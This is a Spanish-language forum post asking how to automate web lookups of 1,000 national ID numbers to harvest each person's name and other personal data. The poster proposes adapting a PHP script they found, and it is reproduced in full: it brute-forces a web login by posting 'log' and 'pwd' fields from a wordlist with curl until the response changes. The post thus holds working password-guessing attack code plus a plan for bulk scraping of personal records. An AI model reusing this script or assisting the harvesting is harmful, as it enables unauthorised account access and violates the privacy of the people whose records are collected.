Saludos compañeros del foro. voy a tratar de ser bastante explicito para que me puedan ayudar.
Necesito automatizar una busqueda en una web.
tengo 1000 numeros de identificador de personas (algunos paises se les conoce como cedula, nro de liciencia etc) y requiero obtener los datos que me da como resultado de una busqueda que realiza la pagina web a su base de datos. y hacerlo de manera manual, uno a uno es un poco lento.
un ejemplo seria: cedula 123456789 en el input se le presiona submit y el me da como resultado --> Fulanito de Tal. y el resto de los datos.
se me ha ocurrido adaptar un scritp que vi por alli de fuerza bruta para un login y modificarlo un poco para que utilice el listado de los numeros de identificacion lo que no se es como guardar los datos que me da como resultado.
el scritp a modificar es este:
<?php
ini_set("memory_limit", "100M");
function crackSite($wordlist, $url, $user, $attemps = 0)
{
if($file = file($wordlist))
print "Read ".count($file)." words.n";
else
{
print "Can’t read word list file.n";
die();
}
$i = 0;
rtrim($fields_string,‘&’);
foreach($file as $word)
{
if(++$i%10 == 0)
print "Attempts: ".$i."/".count($file)." (".trim($word).")n";
$fields_string = "log=".$user."&pwd=".trim($word);
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string) ;
curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);
$result = md5( curl_exec($ch) );
if(!$oresult) $oresult = $result;
if($oresult != $result)
{
print "Password found: ".$word."n";
die();
}
curl_close($ch);
}
}
crackSite($argv[1], $argv[2], $argv[3]);
?>